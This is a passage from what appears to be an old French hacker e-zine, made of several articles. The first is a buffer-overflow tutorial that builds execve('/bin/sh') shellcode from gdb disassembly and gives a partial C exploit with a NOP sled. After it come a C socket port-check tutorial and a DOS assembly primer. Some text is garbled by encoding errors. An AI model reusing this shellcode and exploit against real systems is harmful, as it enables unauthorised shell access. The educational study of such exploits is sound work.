stack (l'image de %eip), nous pourons retrouver l'adresse de "/bin/sh" en la retirant de la stack et en la placeant dans un registre non utilise (%ebx). Pour trouver les adresses relatives (offset) de popl et call, nous devrons d'abord trouver la taille de chacune des nouvelles instructions que nous avons inserer: iff% cat > wrapper.c main() { __asm__(" jmp 37 popl %ebx movl %ebx,0xfffffff8(%ebp) pushl %ebx call -36 "); } ^C iff% gdb wrapper [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c0
: pushl %ebp 0x10c1 : movl %esp,%ebp 0x10c3 : call 0x1154 <__main> 0x10c8 : jmp 0x10ef <__do_global_dtors+15> 0x10ca : popl %ebx 0x10cb : movl %ebx,0xfffffff8(%ebp) 0x10ce : pushl %ebx 0x10cf : call 0x10b0 0x10d4 : leave 0x10d5 : ret (gdb) Parfait, voici donc avec exactitude le nouveau code que nous desirons avoir dans notre shellcode: jmp 31 2 bytes popl %ebx 1 byte movl %ebx,0xfffffff8(%ebp) 3 bytes movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl %ebx 1 byte leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes call -36 5 bytes "/bin/sh" Voila! Il est maintenant temps de reecrire notre wrapper, puis de trouver les opcodes associees a chacunes des instructions que nous desirons utiliser. Pour des raisons que je ne connais trop, "lcall" n'a pas des operands valides tel que demontrer dans l'exemple ci-haut. C'est pourquoi nous trouverons les opcodes de toutes les instructions en ecrivant ces dernieres dans un inline __asm__, alors que nous trouverons lcall en desassemblant execve(): iff% cat > asmcode.c main() { __asm__(" jmp 31 popl %ebx movl %ebx,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffff8(%ebp),%eax pushl %eax pushl %ebx leal 0x3b,%eax call -31 "); execve("", 0, 0); } iff% gcc -static asmcode.c -o asmcode iff% gdb asmcode [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c4
: pushl %ebp 0x10c5 : movl %esp,%ebp 0x10c7 : call 0x1174 <__main> 0x10cc : jmp 0x10ed # = +7 0x10ce : popl %ebx 0x10cf : movl %ebx,0xfffffff8(%ebp) 0x10d2 : movl $0x0,0xfffffffc(%ebp) 0x10d9 : pushl $0x0 0x10db : leal 0xfffffff8(%ebp),%eax 0x10de : pushl %eax 0x10df : pushl %ebx 0x10e0 : leal 0x3b,%eax 0x10e6 : call 0x10c7 # = -7 0x10eb : pushl $0x0 0x10ed : pushl $0x0 0x10ef : pushl $0x10c0 0x10f4 : call 0x1218 0x10f9 : addl $0xc,%esp 0x10fc : leave 0x10fd : ret (gdb) x/31xb 0x10cc 0x10cc : 0xeb 0x1f 0x5b 0x89 0x5d 0xf8 0xc7 0x45 0x10d4 : 0xfc 0x00 0x00 0x00 0x00 0x6a 0x00 0x8d 0x10dc : 0x45 0xf8 0x50 0x53 0x8d 0x05 0x3b 0x00 0x10e4 : 0x00 0x00 0xe8 0xdc 0xff 0xff 0xff (gdb) disassemble execve Dump of assembler code for function execve: 0x1218 : leal 0x3b,%eax 0x121e : lcall 0x7,0x0 0x1225 : jb 0x1210 0x1227 : ret (gdb) x/13xb 0x1218 0x1218 : 0x8d 0x05 0x3b 0x00 0x00 0x00 0x9a 0x00 0x1220 : 0x00 0x00 0x00 0x07 0x00 (gdb) Et voila. Voici a quoi va ressembler notre shellcode complet: 0xeb 0x1f 0x5b 0x89 0x5d 0xf8 0xc7 0x45 0xfc 0x00 0x00 0x00 0x00 <--- main 0x6a 0x00 0x8d 0x45 0xf8 0x50 0x53 0x8d 0x05 0x3b 0x00 0x00 0x00 0x8d 0x05 0x3b 0x00 0x00 0x00 0x9a 0x00 <--- execve 0x00 0x00 0x00 0x07 0x00 0xe8 0xdc 0xff <--- call [popl] 0xff 0xff "/bin/sh" <--- shell Hum. On apercoit un autre probleme ici. Le shellcode semble parfait _mais_ il ne poura jamais etre copier en entier via une fonction comme strcpy(). Pourquoi? tout simplement a cause des 0x00, qui seront consideres comme une fin de string. C'est pourquoi deux solutions s'offrent a nous. La premiere serait d'utiliser un registre clear a la place d'utiliser $0x00 dans chaque cas necessaire. La seconde serait d'inserer le shellcode ailleurs que dans le buffer cible, ce qui serait la aussi une solution tres viable (la placer en argv[X] ou autre). L'EXPLOIT ~~~~~~~~~ Pour l'exemple d'exploit fournit ici, je ferai abstraction de ce probleme pour laisser au codeur le choix de sa technique. Cela evitera, de plus, que cet article soit utilise aveuglement pour fournir aux script kids une facon simple d'ecrire leurs propres exploits. Voici donc a quoi ressemblerait un exploit pour un buffer overflow cree par une fonction telle bcopy() (ce qui est tres rare, etant donner la possibilite le limiter la taille des donnees copiees qu'offre bcopy()): #define OFFSET 1028 char shellcode[] = "\xeb\x1f\x5b\x89\x5d\xf8\xc7\x45\xfc\x00\x00" "\x00\x00\x6a\x00\x8d\x45\xf8\x50\x53\x8d\x05" "\x3b\x00\x00\x00\x8d\x05\x3b\x00\x00\x00\x9a" "\x00\x00\x00\x00\x07\x00\xe8\xdc\xff\xff\xff" "/bin/sh"; main(int argc, char *argv[]) { char string[OFFSET+4]; int i, j; /* copie les NOPs */ for(i=0;i<(OFFSET-sizeof(shellcode));i++) string[i] = 0x90; /* copie le shellcode */ for(i=i,j=0;i By LioneL----- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- Salut a tous, Dabord si tu connais pas le langage de programmation "c" pas la peine de continuer, va voir: http://www.ltam.lu/ourpages/staff/fabfr/cours-c/ http://www.polytechnique.fr/poly/~levy/poly/mainB/node1.html http://www.inf.enst.fr/~charon/CFacile/ Bon je vais commencer par vous faire un exemple, puis je vais l'expliquer: ------GO------- /* Grosse-daube.c */ /* petit exemple de programmation socket , c'est partie. Connexion */ #include #include #include #include #include #include #include #include #include /* inculde ,ben sinon ton prog y merde :) */ void main(int argc, char **argv) { /* debute */ int soc, port=atoi(argv[2]); char *dest; struct sockaddr_in addr; struct hostent *dst; dest=argv[1]; /* on fout les infos données dans dest et port. */ printf("Linux [S]écurité and [A]dminstration Team\n"); if (argc < 3) { printf("usage: %s \n",argv[0]); exit(1); } /* si pas de données entrées */ if (( dst = gethostbyname(dest) ) == NULL ) { fprintf(stderr,"PB: Invalide host %s\n",dest); exit(-1); } /* verification de l'host */ addr.sin_family = AF_INET; addr.sin_addr.s_addr=inet_addr(dest); addr.sin_port = htons(port); /* on fout les relations , domain , adresse , port */ if ((soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } /* ouverture du sockt */ if (connect(soc,&addr,sizeof(addr))==-1) { perror("connect()"); /* ouverture de la connexion */ printf(" %s:%d Port TCP fermé.\n",dest,port); close(soc); /* fermeture du socket */ exit(-1); } printf(" %s:%d Port TCP ouvert.\n",dest,port); return; /* finish */ } /* EOF */ --------END--------- ----EXPLICATION----- 1-En premier temps on place les includes(librairies): #include -> sert pour printf en particulier #include #include #include -> pour le socket #include #include -> pour le net #include -> pour un string (je sais pas pkoi je l'ais foutu :) #include #include -> pour le net Apres au tour de void main(int argc, char **argv) { 2- Structures La on commence la parti la plus serieuse :) , si tu veus pas que le mec rentre de port ou d'host pas la peine de foutre sa mais plutot: main() { Bon apres definir une structure sockaddr_in pour la gestion de l'host( addr*) et la structure hostent: int soc, port=atoi(argv[2]); "int soc" -> Là, c'est le nom du socket. char *dest; -> ben pour se que ta rentrer comme donner en argv[1]. struct sockaddr_in addr; on définit la structure pour l'ouverture du socket. struct hostent *dst; ->On fait un gethostbyname(dest) plus bas pour remplir hostent avec les renseignements de dest. dest=argv[1]; -> donnée direction char *dest. 3-LOOK UP if (( dst = gethostbyname(dest) ) == NULL ) { fprintf(stderr,"PB: Invalide host %s\n",dest); exit(-1); } Sa verifie que l'host exsite bien et sa remplie hostent avec les infos obtenus. 4-Remplissage des structures    Bon, pour l'ouverture de socket, on doit remplir les structures pour dire où l'on doit travailler (on lui a pas encore dit au socket avec qui il devait se connecter) car les socket ne son pas utiliser que pour le networking mais aussi pour la communication entre processus, on doit donc remplir la structure : struct sockaddr_in { addr.sin_family = AF_INET; -> Pour sin_family, on passe le domain du socket, donc ici AF_INET. addr.sin_addr.s_addr=inet_addr(dest); -> Ensuite dans addr.sin_addr, on mais l'adresse de l'hote après le Look Up. addr.sin_port = htons(port); -> Pour le port, on doit convertir ce nombre, donc il faut faire sa. } On utilise htons() pour pas qu'y est de problèmes au niveau des ENDIANS, parce que un sparc et un pentium c'est pas la meme organisation de bits. -5 OUVERTURE DU SOCKETS C'est aussi simple que le reste, on utilise socket() soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); les trucs entre parentese : (AF_INET,SOCK_STREAM,IPPROTO_TCP); /\ /\ /\ | | | unix protocol | tcp protocol On le vera plus bas On va y arriver :) Bon, dans domain, on met dans notre cas AF_INET, maisc'est aussi         AF_UNIX    Unix internal protocol         AF_INET    Arpa internet protocol         AF_ISO         ISO protocol         AF_NS         Xerox networks system protocols         AF_IMPLINK     IMP "host at IMP" link layer     Ensuite, pour AF_INET, type peut être :         SOCK_STREAM     flux bidirectionnelle, garanti de transition de données         SOCK_DGRAM     connexion de type datagramme         SOCK_RAW         Connection à toute donner (lancer par le root)         SOCK_SEQPACKET     rien dessus         SOCK_RDM         Pas encore implémenter     Maintenant, les protocoles utilisables :         ip    0     IP internet protcol       icmp    1     ICMP    internet control message protocol       igmp    2     IGMP    internet group multicast protocol     ggp        3     GGP    gateway-gateway protocol     tcp        6     TCP    transmission control protocol     ... Y en à d'autre, mais aller voire dans /etc/protocols Pour définir un socket, on utilise les librairies: #include #include 6-Connection Pour la connection, on utilise connect(). if (connect(soc,&addr,sizeof(addr))==-1) { perror("connect()"); - soc -> on passe le socket initialiser (ici : soc) - &adrs -> un pointeur vers addr - sizeof(addr) -> taille de la structure Enfin, si connect() renvoie un nombre négatif, une erreur est intervenu et le port est injoignable (unreachable) 7- Fermeture de la connexion #include         int close(int soc); donc apres connect() close(soc); 8- Envoie et reception de données. C'est 2 fonction ne sont pas dans l'exemple mais expliquation: Pour cela, on utilise les fonctions send() et recv() et 2 autres, maiscelle-là sont, à mon gout, plus pratique Elle donne :     int recv(int s, void *buf, int len, unsigned int flags);     int send(int s, const void *msg, int len, unsigned int flags, const struct sockaddr *to, int tolen);     Elle renvoie le nombre d'octet envoyer ou reçu et -1 si une erreur se produit ---------------------------FIN-------------------------- J'espere que sa vous aurra pas trop dessus ;) Bon ben tchao j'ai encore du boulot! Thanks: Machnead , Rockme , Hotcode , Noroute , hAckirA ,moi ;) ! cronos56@yahoo.com -> pour me contacter PS: evité de faire du mailbomb sur mon adresse email. On est des etres humain, on est haut dessus de ces enfantillages! -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- ASM BY Darkbug (Satanik) -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -------------------- Initiation … l'asm 1 -------------------- By SaTaNiK L'asm est le language au plus bas niveau qu'y existe (aprŠs ce sont des chiffres...) et c'est celui qu'on utilise pour optimiser les programmes dans les fonctions qui utilisent beaucoup de temps machine (3D, les effets dans les d‚mos, etc) et pour les rendrent plus rapides. Evidemment le language asm n'est pas des plus simples et si vous voulez commencez … programmer commencez par le C mais surtout pas par l'asm!!! Dans cette premi‚re le‡on je vais aborder la structure de base de l'asm que sont les registres, les interruptions et la pile. Bon pour faire de l'asm c'est pas compliqu‚ il faut 2 logiciels: -Un ‚diteur de texte -Un assembleur pour transformer les instructions en chiffre :) Pour l'‚diteur de texte moi j'utilise AsmLab, un logiciel qui a une interface un peu comme celle de turbo C/C++ mais pour l'asm. Mais sinon vous pouvez utiliser edit du dos qui fait ‡a trŠs bien... Pour l'assembleur j'utilise Turbo Assembleur V5.0 de Borland qui fait ‡a trŠs bien(et donc tout les programmes qui seront dans ce tutorial seront compil‚s avec Tasm), il en existe d'autres comme Masm et ils n‚c‚ssiteront un peu de changement dans votre code...mais bon ‡a ira quand mˆmme :). Pour apprendre la meilleure solution consiste … regarder le travail des autres , et bien je vais commencer par vous mettre un petit exemples sous les yeux: ;***************************************************************************** .MODEL SMALL ;Petit model m‚moire .386 ;Utilise les fonctions jusqu'au 386 .STACK 100H ;La pile....explication plus loin .DATA ;SEGMENT de donn‚e MESSAGE DB "Coucou de l'asm$" ;Une variable qui contient une chaine ;de caract‚res .CODE ;Le code du programme debut: ;Reference du debut du programme MOV AX,@DATA ;Initialise le segment de donn‚ MOV DS,AX MOV AH,09 ;Met 9 dans le registre ah MOV DX,OFFSET MESSAGE ;Met l'addresse de message dans dx INT 21H ;Lance la fonction 9 de l'interruption 21H ;qui affiche un message MOV AX,4C00H ;Met la valeur hexadecimale 4C00 dans ax INT 21H ;Lance la fonctions 4C de l'interruption 21H ;qui arrete le programme... END debut ;informe l'asm que le programme commence … debut... ;***************************************************************************** Ca va vous avez reussi … lire tout ‡a? Bon plus qu'a le compiler :). Vous sauvez ce texte sous euh par exemple sous Test.asm et vous lancez les commandes suivantes(si vous utilisez Tasm sinon je sais pas): Tasm Test.asm Tlink Test.obj Et vous voila avec un beau executable(Test.exe) qui affiche un joli message tout plein :). Bon maintenant expliquons plus en d‚tail ce programme: .MODEL SMALL ;D‚finit un petit segment m‚moire, ne vous cassez pas la tˆte avec ‡a :)) .386 ;Le programme ne contient pas de fonctions qui font appele … plus puissant ;que 386 .STACK 100H ;D‚finit une pile qui n'est d'ailleur pas utilis‚ dans le programme :) .DATA ;Definit un segment qui contiendra toute les donn‚es mais pas ;de code executable MESSAGE DB "Coucou de l'asm$" ;Definit une chaine de caract‚re avec l'instruction DB qui en fait d‚finit ;soit un nombre d'1 byte(comme un char sous C) soit une chaine de nombre, une ;chaine de caract‚re quoi... ;Cette chaine finit par un $ car l'interruption qu'on va lancer plus loin ;arrˆte l'affichage au premier '$' trouv‚... .CODE ;d‚finit un segment qui ne contient que du code debut: ;Il faut bien que le programme commence quelque part non? MOV AX,@DATA MOV DS,AX ;Initialise le segment DS avec l'adresse du segment DATA pour que l'ordinateur ;sache ou sont les donn‚es, on passe par le registre AX car l'asm refuse ;que l'on mette directement une valeur mais il accepte que l'on mette ;la valeur d'un registre(c chiant mais c comme ‡a) MOV AH,09H ;Met la valeur 09 dans le registre ah qui est en fait la partie haute de ;AX, l'on aurait put tout aussi bien ‚crire 'mov AX,0900H', cela aurait ;aussi mit AH … 09 mais cela aurait aussi mit AL(la partie basse de AX) … 0 ;, ce qu'on ne desire pas... MOV DX,OFFSET MESSAGE ;Met l'adresse de la donn‚ MESSAGE d‚clar‚ plus haut dans DX INT 21H ;Lance l'interruption 21H qui est l'interrution du dos, cette interruption ;regarde le contenue de ah et lance la fonction correspondante, ici elle lance ;la fonction 09 qui affiche le message dont l'adresse est stock‚ dans DX MOV AX,4C00H INT 21H ;Memme chose que plus haut mais cette fois ci c'est la fonction 4C qui arrete ;le programme, l'on est oblig‚ de mettre ces 2 lignes sinon l'ordinateur ;plante ou windoz arrete le programme... END debut ;Informe tasm que le programme commence … debut, un label qui est d‚finit plus ;haut dans le programme Bon voila, apr‚s avoir d‚taill‚ soigneusement ce programme je vais parler des registres. Il existe 4 principaux registres: AX,BX,CX et DX. Chaqu'un de ces registres est 16-bits(comparable a un int en C) mais les 8 bits sup‚rieurs et inf‚rieurs peuvent ˆtre acc‚d‚s grace … AH(partie haute de ax) AL(parite basse de ax), de mˆmme avec BX avec les registres BH(partie haute) et BL(partie basse), et toujours la mˆmme chose avec CX et DX avec les registres CH, CL, DH et DL. Ces registres sont comparables … des variables en C … l'exception prŠs qu'ils sont plus rapide en temps-machine et qu'ils existent dŠs le lan‡ement de la machine. Ces registres existent aussi en version 32-bits … partir du 386, ils sont alors appel‚s EAX,EBX,ECX et EDX mais la partie haute des 32 bits ne peut ˆtre acc‚d‚e directement. Il existe aussi les registres de segment, il en existe 3 importants: CS, DS et ES. CS contient l'adresse du code executable et quand vous lancez le programme CS pointe automatiquement sur le code executable, donc n'y touchez pas... DS lui au demarrage pointe aussi sur le code executable alors qu'il doit referencer les donnees, il est alors necessaire de faire pointer ce segment sur le segment DATA par les 2 lignes suivantes au debut du code executable: ;*********** MOV AX,@DATA MOV DS,AX ;*********** ES est lui un registre supl‚mentaire qu'y peut servir … contenir un segment suppl‚mentaire, un autre segment de DATA par exemple car un segment ne peut d‚passer les 64000 octets d'ou son utilis‚. Il faut que vous sachiez aussi qu'il existent aussi 2 autres registres que sont SI et DI, il peuvent servir comme AX, BX, CX et DX … contenir des nombres mais il servent surtout … copier des zone m‚moires et … faire des comparaisons. Les interruptions sont en fait des fonctions qui peuvent ˆtre lan‡‚es par une simple commande qui est INT suivit du num‚ro de l'interruption. Les interruptions sont ce qu'il existe de plus simple … utiliser en asm. Il existe diff‚rentes interruptions: -10H pour les graphismes -14H pour le joystick -17H pour l'imprimante -21H pour les fonctions DOS Il en existe ‚videmment plus que cela.... Chaqu'une des ces interruptions contient plusieures fonctions, le num‚ro de la fonctions doit ˆtre mit dans AH avant le lancement de l'interruption. Normalement avec ce texte doit ˆtre fournit un logiciel: HELP-PC qui contient une liste d'interruption avec en plus une liste de toutes les fonctions de l'asm :). Maintenant une petite explication de ce qu'est la pile. La pile, n'est pas comme vous pouvez vous l'imaginez une pile qui fournit de l'‚n‚rgie mais bien une pile de chiffre, eh oui :). Si vous lisez ce texte vous devez surement deja avoir fait du C, alors vous devez savoir que le nombre de variable est souvent important et si vous avez bien lu les lignes plus haut qui concernaient les registres vous devez vous ˆtre rendu compte qu'il n'y en a pas beaucoup...Nous arrivons donc ici … l'utilit‚ de la pile qui permet de preserver le contenue d'un ou de plusieurs registres. Mais comme avec une pile d'assiettes vous ne pourrez pas retirez une valeur qui se trouve en bas de la pile s'en en avoir enlev‚ le dessus. Bon je ne suis peut-ˆtre pas trŠs clair mais ce programme va peut-ˆtre eclaircir vos id‚es: ;*********** MOV AX,34315 MOV DX,123 ;met dans les registres AX et DX des chiffres PUSH AX PUSH DX ;met ces 2 registres sur la pile MOV AX,946 MOV DX,555 ;Change le contenue de ces 2 registres POP DX POP AX ;AX et DX contiennent de nouveau 34315 et 123 ;*********** Si a la fin du programme nous avions mis POP AX puis POP DX alors AX contiendrait 123 et DX, 34315. ------- Cette fois on va faire un......allez essayer de deviner quoi :). On va faire un programme de Dessin!!! Bon pour faire un programme de dessin voyons ce dont on … besoin...d'une souris...et pis d'un ecran en mode graphique...et ensuite nous devrons cr‚er des fonctions :)... Pour pouvoir afficher une image il faut d'abord passer en mode graphique car au d‚mmarage de l'ordinateur(ou en mode dos normal) on est en mode texte. Pour cela on va trŠs simplement faire appel … la fonction 0 de l'interruption 10h. Cette fonction permet de changer le mode de l'‚cran... ***FONCTION 0 DE L'INTERRUPTION 10H*** ParamŠtres d'entr‚e: -AH=00 -AL=mode vid‚o ************************************** 2 modes vid‚os nous interesse particuliŠrement: le mode 3h est celui dans lequel nous devrons revenir … la fin du programme(mode texte). Le mode 13h quand … lui est le mode graphique qui nous interesse car il permet 256 couleurs dans une r‚solution de 320*200 pixels(c'est notre mode graphique). Donc pour passer en mode graphique nous ferons simplement: ********** mov ah,0 mov al,13h int 10h ********** Donc nous voila en mode graphique...mais maintenant il faut absolument que nous sachions afficher un point...pour cela nous pourrions encore utilis‚ une interruption mais elle sont trop lentes pour ce genre de chose... Pour afficher un point sur l'‚cran nous devons pointer sur la m‚moire vid‚o. Pour cela nous allons utiliser le segment ES qui pointera sur la m‚moire vid‚o...pour faire cela il suffit simplement de faire pointer ES sur A000H: ************* mov ax,0a000H mov es,ax ************* Il y a deux choses que vous devez avoir not‚ rien qu'a ces 2 lignes, c'est qu'on ne peut pas ‚crire directement dans les segments...et que sur on veut mettre une valeure dans une variable et si celle si commence par une lettre (la valeur) et bien nous devons rajouter un 0 devant pour que le compil ne la prenne pas pour une variable... Pour mettre un point ce sera donc trŠs simple il suffira de mettre par exemple dans di la valeure qu'on veut attendre et on met la couleur dans ce point. Un ptit exemple pour vous ‚claircir les id‚es: *********************** mov di,50 mov es:[di], byte ptr 5 *********************** Ce ptit code fera apparaŒtre un point … la ligne 0 colonne 50...si nous avions voulu mettre un point dans la ligne 8 colonne 30 il suffisait de faire un ptit calcul: ligne*320+colonne=di... Pour se servir de la souris MS-DOS nous offre une panoplie de fonctions: **Initialiser la souris** fonction 00 de l'interruption 33h -ax=00 ************************* Cette fonction renvoit 0 si aucun pilote de souris n'est install‚... **Affiche/cache la souris** fonction 01 de l'interruption 33h -ax=01 *************************** Si vous executez cette fonctions alors que la souris et visible, elle disparaitra et inversement... **Lit l'‚tat de la souris** fonction 03 de l'interruption 33h -ax=03 *************************** Cette fonction renvoit dans bx l'‚tat des boutons cod‚ comme suit: bit0=1 le bouton gauche … ‚t‚ actionn‚ bit1=1 le bouton droit … ‚t‚ actionn‚ Elle renvoit dans cx, l'abscisse X du pointeur et dans dx l'ordonn‚e Y. Qqchose de bizarre c que cx doit ˆtre divis‚ par 2....car la souris met la valeure sur 640....et non pas sur 320... Une des choses les plus importantes dans l'asm est l'utilisation des jumps... Il existe en asm une grande quantit‚ de jump dont je vais devoiler les secrets ici! Il existe en m‚moire une sorte de registre qui contient des indicateurs qui sont soit … 0 ou 1...et les jumps ne font que les tester...il existe diff‚rentes fonctions qui modifient ces indicateurs mais la principale que nous allons utiliser est cmp, cette instruction permet simplement de comparer 2 registres ou un registre et une valeur.... **je****************************************** ce jump ne fait le saut qu'en cas d'‚galit‚... Exemple: mov ax,5 cmp ax,5 je saute_car_5_est_egal_…_5 ********************************************** **jb****************************************** ce jump saut si la premiŠre valeure est inf‚rieur … la deuxiŠme... Exemple: mov ax,1 cmp ax,80 jb saute_car_1_est_plus_petit_que_80 ********************************************** Pour obtenir l'effet inverse, par exemple pour sauter si, dans notre deuxiŠme exemple ax ‚tait plus grand que 80 il suffit d'intercaler un n au milieu du jump...par exemple pour jb sela donnerait jnb...simple non? Il existe aussi un autre saut, trŠs simple, c jmp qui effectue un saut sans condition...... Ha j'oubliais, aprŠs le jump vous mettez ce qu'on appelle un label...c'est simplement un nom... **********Exemple********** mov ax,8 cmp bx,ax jb saut1 jmp saut2 saut1: saut2: *************************** Bon donc voila ce que devrait donner notre programme: ***************************************** .MODEL SMALL .STACK 100H .386 .DATA NOSOURIS DB "La souris n'as pas ‚t‚ trouv‚e :(...$" .CODE debut: ;DEBUT DU PROGRAMME mov ax,@DATA ;INITIALISE LE SEGMENT DATA mov ds,ax mov ax,0A000h ;POINTE LE SEGMENT ES SUR VIDEO mov es,ax mov ah,00 ;INITIALISE LE MODE VIDEO mov al,13h int 10h mov ax,0 ;INITIALISE LA SOURIS int 33h cmp ax,0 ;ET JUMP SI PAS DE PILOTES je no_souris mov ax,1 ;AFFICHE LA SOURIS int 33h infinit_loop: mov ax,3h ;TESTE L'ETAT DE LA SOURIS int 33h cmp bx,1 je button_1_pressed ;LOOK SI BUTTON 1 APPUYE cmp bx,2 ;LOOK SI BUTTON 2 APPUYE je button_2_pressed jmp infinit_loop ;SINON REGARDE ENCORE ETAT button_1_pressed: sub cx,2 ;ON SOUSTRAIT 2 … X ET Y POUR EVITER sub dx,2 ;DES PROBLEMES AVEC L'AFFICHAGE DE LA SOURIS mov ax,320 ;MULTIPLIE DX(Y) PAR 320 mul dx shr cx,1 ;DIVISE LES X PAR 2 add ax,cx ;ET AJOUTE LES X mov di,ax ;AFFICHE UN JOLI POINT TOUT BEAU =) mov es:[di],byte ptr 5 jmp infinit_loop ;ET PIS REGARDE SI ENCORE APPUYE button_2_pressed: jmp good_end ;QUITTE LE PROGRAMME SI 2‚me BOUTTON PRESSE no_souris: mov ax,2 ;CACHE LA SOURIS int 33h mov ah,00 ;RETABLIT MODE TEXTE mov al,03h int 10h mov ah,09h ;AFFICHE ERREUR lea dx,NOSOURIS int 21h mov ax,4C00H ;ET QUITTE int 21h good_end: mov ax,2 ;CACHE LA SOURIS int 33h mov ah,00 ;RETABLIT MODE TEXTE mov al,03h int 10h mov ax,4C00H ;QUITTE int 21h END debut ;INFORME LE PROG QUE L'ON COMMENCE … debut ***************************************** Cette fois ‡i je vais ‚tudier ce qu'il nous reste comme fonctions diverses et vari‚s en asm...… vrais dire pas mal ;). Mais tout d'abord je voudrais vous parlez de qqchose d'assez important: ************* *indicateurs* ************* Les indicateurs se trouvent en fait dans un registre, le registre d'ˆtat... ces indicateurs, sont tout le temps modifi‚s par les fonctions...par exemple quand vous faŒtes un cmp ax,bx et bien un indicateur est modifi‚ en cons‚quence du r‚sultat...et les jumps divers(je, jb...) ne font en fait que tester ces indicateurs...j'avais besoin de faire cette mise au point pour aller dans un raisonnement plus clair de l'asm... :) Ha une derniŠre chose, comme vous vous en doutez surement les indicateurs sont sur 1 bit donc soit 1 soit 0... ****** *loop* ****** Loop est tout simplement un instruction pour faire une boucle(et oui ‡a existe aussi en asm c trucs l… ;). Vous mettez dans cx le nombre d'iterations un label, vos intructions et pis loop label..... ex: ---------------------------------------------------------------- mov cx,5 ;Met 5 dans cx(il va faire la boucle 5 fois xor ax,ax ;Met ax … 0 jolie_boucle: ;Le label inc ax ;Incremente(+1) eax loop jolie_boucle ;Faite une belle boucle ;ax=5 maintenant ---------------------------------------------------------------- ***** *rep* ***** Rep est une instruction pour......r‚peter ;). En fait ‡a marche … peu prŠs comme loop sauf que une seule instruction peut ˆtre r‚p‚t‚e...mais il existe des sous-types dans le rep... Repz est celui dont on se sert le plus souvent car il permet de comparer les chaines de caractŠre accompagn‚ de l'instruction cmpsb. ex: ------------------------------------------- mov cx,8 ;TESTE 8 CARACTERES lea si,chaine1 ;POINTE SUR CHAINE1 lea di,chaine2 ;POINTE SUR CHAINE2 repz cmpsb ;REPETE TANT QUE CX!=0 ;OU QUE ZF==1 jz chaine_egales ------------------------------------------- Houla, ‡a se complexe, mais quesque que ce ZF???? Et bien c'est tout simplement un indicateur...en fait la fonction cmpsb compare les pointeurs si et di et quand elle trouve un diffŠrence elle met cet indicateur … 0 donc … la fin de la fonction si aucune diffŠrence n'a ‚t‚ trouv‚ ce registre sera toujours … 1 et donc jz qui teste cet indicateur fera le saut. (oufffffff j'ai r‚ussi ;)). ************ *inc et dec* ************ Inc et dec permettent respectivement d'augmenter de 1 ou de soustraire un … un registre.... ******* *movsb* ******* Movs deplace la valeur point‚ par DS:SI … celle point‚ par ES:DI...movsb deplace un octect...movsw deplace un mot(2 octects) et movsd deplace un double mot(4 octets). ******* *cmpsb* ******* Mˆmme chose ici, cmpsb compare la valeure point‚ par DS:SI … celle point‚ par ES:DI....et ici aussi il y a cmpsw et cmpsd.... ***** *mul* ***** Mul multiplie la variable eax par celle pr‚cis‚ aprŠs mul...rien de bien compliqu‚ en fait ex: --------------------------------------- mov eax,2 ;Met dans eax la valeure 2 mul 5 ;Multiplie par 5 ;eax contient 10 --------------------------------------- ***** *div* ***** Div fonctionne de la mˆmme fa‡on que mul except‚ que le reste est plac‚ dans edx..... ********* *add&sub* ********* Add et sub permettent d'......ajouter de de soustraire(non? vous aviez devin‚?). ex: -------- add ax,3 sub ax,1 -------- Bon voil… qui est suffisant et qui vous suffira je pense, ‚videmment l'asm dispose de beaucoup plus de fonctions mais elles ne sont pas toutes trŠs interessantes.....mais si vous desirez en savoir plus je vous conseille d'acheter un bouquin ;). SaTaNiK http://www.multimania.com/gripsou/ ----- BONNUS: 00 add ????,XX 01 add XX,XX 02 add ax,XXxxxx|add XX,XX 03 add XX,XX 04 add al,xx 05 add ax,xxxx 06 push es 07 pop es 08 or xxxx,XX 09 or XX,XX 0A or XX,xxxx! ? 0B or XX,xxxx! ? 0C or al,xx 0D or ax,xxxx 0E push cs 0F shrd|imul ???? 10 adc XX,XX ? 11 adc xxxx,SP ? 12 adc XX,XX 13 adc XX,xxxx 14 adc al,xx 15 adc ax,xxxx 16 push ss 17 pop ss 18 sbb XX,XX ? 19 sbb xxxx,XX|sbb XX,XX 1A sbb XX,XX 1B sbb XX,XX ? 1C sbb al,xx 1D sbb ax,xxxx 1E push ds 1F pop ds 20 and XX,XX ? 21 and XX,XX ? 22 and XX,XX 23 and XX,xxxx|and XX,XX 24 and al,xx 25 and ax,xxxx 26 cmp ?????? 27 daa 28 sub XX,XX 29 sub xxxx,XX ? 2A sub XX,XX ? 2B sub XX,XX 2C sub al,xx 2D sub ax,xxxx 2E mov XX,xxxx 2F das 30 xor XX,XX ? 31 xor XX,XX ? 32 xor ?????|xor XX,XX 33 xor ????? 34 xor al,xx 35 xor ax,xxxx 36 xor XX,XX ? 37 aaa 38 cmp XX,XX ? 39 cmp xxxx,XX 3A cmp Xx,Xx ? 3B cmp XX,xxxx|cmp XX,XX 3C cmp al,xx 3D cmp ax,xxxx 3E and XX,XX ? 3F aas 40 inc ax 41 inc cx 42 inc dx 43 inc bx 44 inc sp 45 inc bp 46 inc si 47 inc di 48 dec ax 49 dec cx 4A dec dx 4B dec bx 4C dec sp 4D dec bp 4E dec si 4F dec di 50 push ax 51 push cx 52 push dx 53 push bx 54 push sp 55 push bp 56 push si 57 push di 58 pop ax 59 pop cx 5A pop dx 5B pop bx 5C pop sp 5D pop bp 5E pop si 5F pop di 60 pusha 61 popa 62 bound XX,XX ? 63 arpl XX,XX ? 64 Coprocessor instr ?? 65 Coprocessor instr ?? 66 instr de 386 67 Coprocessor instr ?? 68 push xxxx 69 